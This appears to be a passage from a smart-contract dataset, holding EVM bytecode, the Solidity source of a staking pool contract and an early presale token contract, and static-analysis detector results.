16135ef6000860182612e31565b5060208301516136026020860182612e31565b506040830151848203604086015261361a82826131d7565b915050606083015161362f606086018261371a565b5060808301516136426080860182613681565b5060a083015184820360c086015261365a8282612f0b565b91505060c083015184820360e08601526136748282612f0b565b9150508091505092915050565b604082016000820151613697600085018261371a565b5060208201516136aa602085018261371a565b50505050565b60006080830160008301516136c86000860182612e31565b50602083015184820360208601526136e082826131d7565b915050604083015184820360408601526136fa82826131d7565b915050606083015161370f6060860182613738565b508091505092915050565b61372381613ee2565b82525050565b61373281613ee2565b82525050565b61374181613eec565b82525050565b600060208201905061375c6000830184612e40565b92915050565b60006060820190506137776000830186612e40565b81810360208301526137898185612e4f565b9050818103604083015261379d8184612e4f565b9050949350505050565b60006040820190506137bc6000830185612e40565b6137c96020830184613729565b9392505050565b600060208201905081810360008301526137ea8184612e4f565b905092915050565b6000602082019050818103600083015261380c8184612ead565b905092915050565b6000602082019050818103600083015261382e8184612f69565b905092915050565b600060208201905081810360008301526138508184612fc7565b905092915050565b60006020820190508181036000830152613872818461303c565b905092915050565b6000602082019050818103600083015261389481846130b1565b905092915050565b600060208201905081810360008301526138b68184613126565b905092915050565b60006020820190506138d360008301846131aa565b92915050565b60006020820190506138ee60008301846131b9565b92915050565b600060208201905061390960008301846131c8565b92915050565b6000602082019050818103600083015261392881613210565b9050919050565b600060208201905081810360008301526139498184613233565b905092915050565b6000602082019050818103600083015261396b818461339e565b905092915050565b6000602082019050818103600083015261398d818461352f565b905092915050565b60006020820190506139aa60008301846135ba565b92915050565b60006020820190506139c56000830184613729565b92915050565b60006139d56139e6565b90506139e18282613f98565b919050565b6000604051905090565b600067ffffffffffffffff821115613a0b57613a0a614070565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613a3757613a36614070565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613a6357613a62614070565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613a8f57613a8e614070565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613abb57613aba614070565b5b613ac48261409f565b9050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613ca982613ee2565b9150613cb483613ee2565b925082613cc457613cc3614041565b5b828204905092915050565b6000808291508390505b6001851115613d1957808604811115613cf557613cf4614012565b5b6001851615613d045780820291505b8081029050613d12856140b0565b9450613cd9565b94509492505050565b6000613d2d82613ee2565b9150613d3883613eec565b9250613d657fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613d6d565b905092915050565b600082613d7d5760019050613e39565b81613d8b5760009050613e39565b8160018114613da15760028114613dab57613dda565b6001915050613e39565b60ff841115613dbd57613dbc614012565b5b8360020a915084821115613dd457613dd3614012565b5b50613e39565b5060208310610133831016604e8410600b8410161715613e0f5782820a905083811115613e0a57613e09614012565b5b613e39565b613e1c8484846001613ccf565b92509050818404811115613e3357613e32614012565b5b81810290505b9392505050565b6000613e4b82613ee2565b9150613e5683613ee2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613e8f57613e8e614012565b5b828202905092915050565b6000613ea582613ec2565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613f0482613f0b565b9050919050565b6000613f1682613ec2565b9050919050565b6000613f2882613f2f565b9050919050565b6000613f3a82613ec2565b9050919050565b6000613f4c82613f53565b9050919050565b6000613f5e82613ec2565b9050919050565b60005b83811015613f83578082015181840152602081019050613f68565b83811115613f92576000848401525b50505050565b613fa18261409f565b810181811067ffffffffffffffff82111715613fc057613fbf614070565b5b80604052505050565b6000613fd482613ee2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561400757614006614012565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6140ef81613e9a565b81146140fa57600080fd5b50565b61410681613eac565b811461411157600080fd5b50565b61411d81613eb8565b811461412857600080fd5b50565b61413481613ee2565b811461413f57600080fd5b50565b61414b81613eec565b811461415657600080fd5b5056fea264697066735822122024aa7f69eabb5f2c3cd40500fb1a35392bddd1b00ae5c9e171ba2ff57796b84064736f6c63430008020033
|
{"success": true, "error": null, "results": {}}
| 4,365 |
0x726f2d3e32d7314ea5e585cce212e4f0bfdb8569
|
/**
*Submitted for verification at Etherscan.io on 2020-12-06
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YeFiMpool3 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// token contract address
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 10000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function place(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function lift(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimYields() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636a395ccb11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b8063a89c8c5e116100de578063a89c8c5e14610397578063b52b50e4146103c5578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636a395ccb146103515780637b0a47ee146103875780639d76ea581461038f576101cf565b8063455ab53c11610171578063583d42fd1161014b578063583d42fd146102f55780635ef057be1461031b5780636270cd18146103235780636654ffdf14610349576101cf565b8063455ab53c146102b35780634908e386146102bb57806352cd0d40146102d8576101cf565b80632f278fe8116101ad5780632f278fe814610261578063308feec31461026b57806337c5785a146102735780633844317714610296576101cf565b8063069ca4d0146101d45780631e94723f146102055780632ec14e851461023d575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b61022b6004803603602081101561021b57600080fd5b50356001600160a01b03166104d9565b60408051918252519081900360200190f35b610245610592565b604080516001600160a01b039092168252519081900360200190f35b6102696105a1565b005b61022b6105ac565b6101f16004803603604081101561028957600080fd5b50803590602001356105be565b6101f1600480360360208110156102ac57600080fd5b50356105e2565b6101f1610603565b6101f1600480360360208110156102d157600080fd5b503561060c565b610269600480360360208110156102ee57600080fd5b503561062d565b61022b6004803603602081101561030b57600080fd5b50356001600160a01b0316610932565b61022b610944565b61022b6004803603602081101561033957600080fd5b50356001600160a01b031661094a565b61022b61095c565b6102696004803603606081101561036757600080fd5b506001600160a01b03813581169160208101359091169060400135610962565b61022b610a3c565b610245610a42565b6101f1600480360360408110156103ad57600080fd5b506001600160a01b0381358116916020013516610a51565b610269600480360360208110156103db57600080fd5b5035610af7565b61022b610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61022b6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61022b610e25565b61022b610e2b565b61022b610e31565b6102696004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61022b600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610245610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b60006104e6600b83610f97565b6104f25750600061058d565b6001600160a01b0382166000908152600d60205260409020546105175750600061058d565b6001600160a01b0382166000908152600f602052604081205461053b904290610fb5565b6001600160a01b0384166000908152600d60205260408120546004546003549394509092610587916127109161058191908290889061057b908990610fc7565b90610fc7565b90610fe7565b93505050505b919050565b6002546001600160a01b031681565b6105aa33610ffc565b565b60006105b8600b611190565b90505b90565b600080546001600160a01b031633146105d657600080fd5b60059290925560065590565b600080546001600160a01b031633146105fa57600080fd5b60099190915590565b600a5460ff1681565b600080546001600160a01b0316331461062457600080fd5b60039190915590565b336000908152600d6020526040902054811115610691576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e60205260409020546106af904290610fb5565b116106eb5760405162461bcd60e51b815260040180806020018281038252603b815260200180611301603b913960400191505060405180910390fd5b6106f433610ffc565b600061071161271061058160065485610fc790919063ffffffff16565b9050600061071f8383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561077b57600080fd5b505af115801561078f573d6000803e3d6000fd5b505050506040513d60208110156107a557600080fd5b50516107f8576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b505050506040513d602081101561087657600080fd5b50516108c9576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546108e39084610fb5565b336000818152600d602052604090209190915561090290600b90610f97565b801561091b5750336000908152600d6020526040902054155b1561092d5761092b600b3361119b565b505b505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b0316331461097957600080fd5b6001546001600160a01b03848116911614156109b457610997610e31565b8111156109a357600080fd5b6008546109b090826111b0565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610a6957600080fd5b6001600160a01b03831615801590610a8957506001600160a01b03821615155b610ac45760405162461bcd60e51b815260040180806020018281038252602a81526020018061136f602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b600a5460ff161515600114610b53576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610ba8576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b505050506040513d6020811015610c2c57600080fd5b5051610c7f576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c8833610ffc565b6000610ca561271061058160055485610fc790919063ffffffff16565b90506000610cb38383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b5051610d8c576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610da690826111b0565b336000818152600d6020526040902091909155610dc590600b90610f97565b61092d57610dd4600b336111bf565b50336000908152600e60205260409020429055505050565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006105bb565b6000610e5f600854600954610fb590919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133c6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b6000610fac836001600160a01b0384166111d4565b90505b92915050565b600082821115610fc157fe5b50900390565b6000828202831580610fe1575082848281610fde57fe5b04145b610fac57fe5b600080828481610ff357fe5b04949350505050565b6000611007826104d9565b90508015611173576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561106557600080fd5b505af1158015611079573d6000803e3d6000fd5b505050506040513d602081101561108f57600080fd5b50516110e2576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526010602052604090205461110590826111b0565b6001600160a01b03831660009081526010602052604090205560085461112b90826111b0565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b6000610faf826111ec565b6000610fac836001600160a01b0384166111f0565b600082820183811015610fac57fe5b6000610fac836001600160a01b0384166112b6565b60009081526001919091016020526040902054151590565b5490565b600081815260018301602052604081205480156112ac578354600019808301919081019060009087908390811061122357fe5b906000526020600020015490508087600001848154811061124057fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061127057fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610faf565b6000915050610faf565b60006112c283836111d4565b6112f857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610faf565b506000610faf56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a2646970667358221220ad8a9c0a0a64e04ef3c8e9dcacca627ad12071b762528287fe77bdb30c275ae964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,366 |
0x3931e02c9acb4f68d7617f19617a20acd3642607
|
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
function transferFrom(address _from, address _to, uint256 _value) returns (bool);
function approve(address _spender, uint256 _value) returns (bool);
function allowance(address _owner, address _spender) constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* @title ProofPresaleToken (PROOFP)
* Standard Mintable ERC20 Token
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ProofPresaleToken is ERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
string public constant name = "Proof Presale Token";
string public constant symbol = "PPT";
uint8 public constant decimals = 18;
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
function ProofPresaleToken() {}
function() payable {
revert();
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title ProofPresale
* ProofPresale allows investors to make
* token purchases and assigns them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract ProofPresale is Pausable {
